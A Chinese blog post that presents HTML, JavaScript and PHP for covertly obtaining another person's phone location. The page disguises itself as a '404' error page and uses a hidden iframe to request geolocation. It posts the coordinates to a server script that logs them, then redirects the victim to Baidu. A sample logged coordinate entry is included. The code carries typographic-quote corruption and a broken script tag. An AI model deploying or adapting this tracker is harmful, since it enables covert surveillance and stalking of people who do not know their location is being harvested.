【原创】获取对方手机当前的经纬度

【原创】获取对方手机当前的经纬度

1、HTML代码:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv=“Content-Type” content=“text/html; charset=UTF-8”>
<title>404</title>
</head>
<body>
<div style=”width:100%;height:100%;text-align:center;font-size:30px;”>404</div>
<script src=“//code.jquery.com/jquery-1.11.0.min.js></script>
<script>
    var u = navigator.userAgent;
    var isiOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/); //ios终端
    var options = {
        enableHighAccuracy: true,
        maximumAge: 30000,
        timeout: 12000
    }
    window.locationCallback = function(err, position){
        alert(‘弹弹弹,弹走鱼尾纹!’);
        if (err) {
         onError(err);
            return ;
        }
        onSuccess(position);
    }
   
    // 使用iframe方式来兼容苹果的Safari
    var str = ‘<iframe src=”javascript:(function(){ ‘
        +‘window.navigator.geolocation.getCurrentPosition(‘
        +‘function(position){parent && parent.locationCallback && parent.locationCallback(null,position);}, ‘
        +‘function(err){parent && parent.locationCallback && parent.locationCallback(err);}, ‘
        +‘{enableHighAccuracy : ‘+ options.enableHighAccuracy +‘, maximumAge : ‘+ options.maximumAge +‘, timeout :’+ options.timeout +‘})’
        +‘;})()” style=”display:none;”></iframe>’;
    $(str).appendTo(‘body’)
    
    var address = “”;
    //定位数据获取成功响应
    function  onSuccess(position){
         address = “纬度:”+position.coords.latitude+“,经度:”+position.coords.longitude+“,海拔:”+position.coords.altitude+
         “,水平经度:”+position.coords.accuracy+“,垂直经度:”+position.coords.altitudeAccura;
         $.post(“server.php”, { address: address },function(ret){
          if(ret.success==true){
            window.location.href=http://m.baidu.com/;
          }else{
            alert(‘失败’);
          }
        },‘json’);
    }
    //定位数据获取失败响应
    function onError(error) {
      switch(error.code)
      {
        case error.PERMISSION_DENIED:
        alert(“您拒绝对获取地理位置的请求”);
        break;
        case error.POSITION_UNAVAILABLE:
         alert(“位置信息是不可用的”);
        break;
        case error.TIMEOUT:
        alert(“请求您的地理位置超时”);
        break;
        case error.UNKNOWN_ERROR:
        alert(“未知错误”);
        break;
        default:
         alert(“我也不知道为啥会报这个错”);
         break;
      }
    }
</script>
</body>
</html>

2、PHP代码:

$address = isset($_POST[‘address’])? $_POST[‘address’] : ;
 
$ret = array();
$ret[‘success’] = true;
$address = date(“Y-m-d H:i:s”,time()).“:”.$address;
file_put_contents(‘./address.log’, $address.PHP_EOL, FILE_APPEND);
 
echo json_encode($ret);

3、日志结果:

2018-11-19 17:38:22:纬度:41.24509,经度:126.651497,海拔:0,水平经度:30,垂直经度:undefined

4、正常流程:

点击链接 -> 地理位置授权 -> 点击确定 -> 弹出“弹弹弹,弹走鱼尾纹” -> 跳转到百度

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据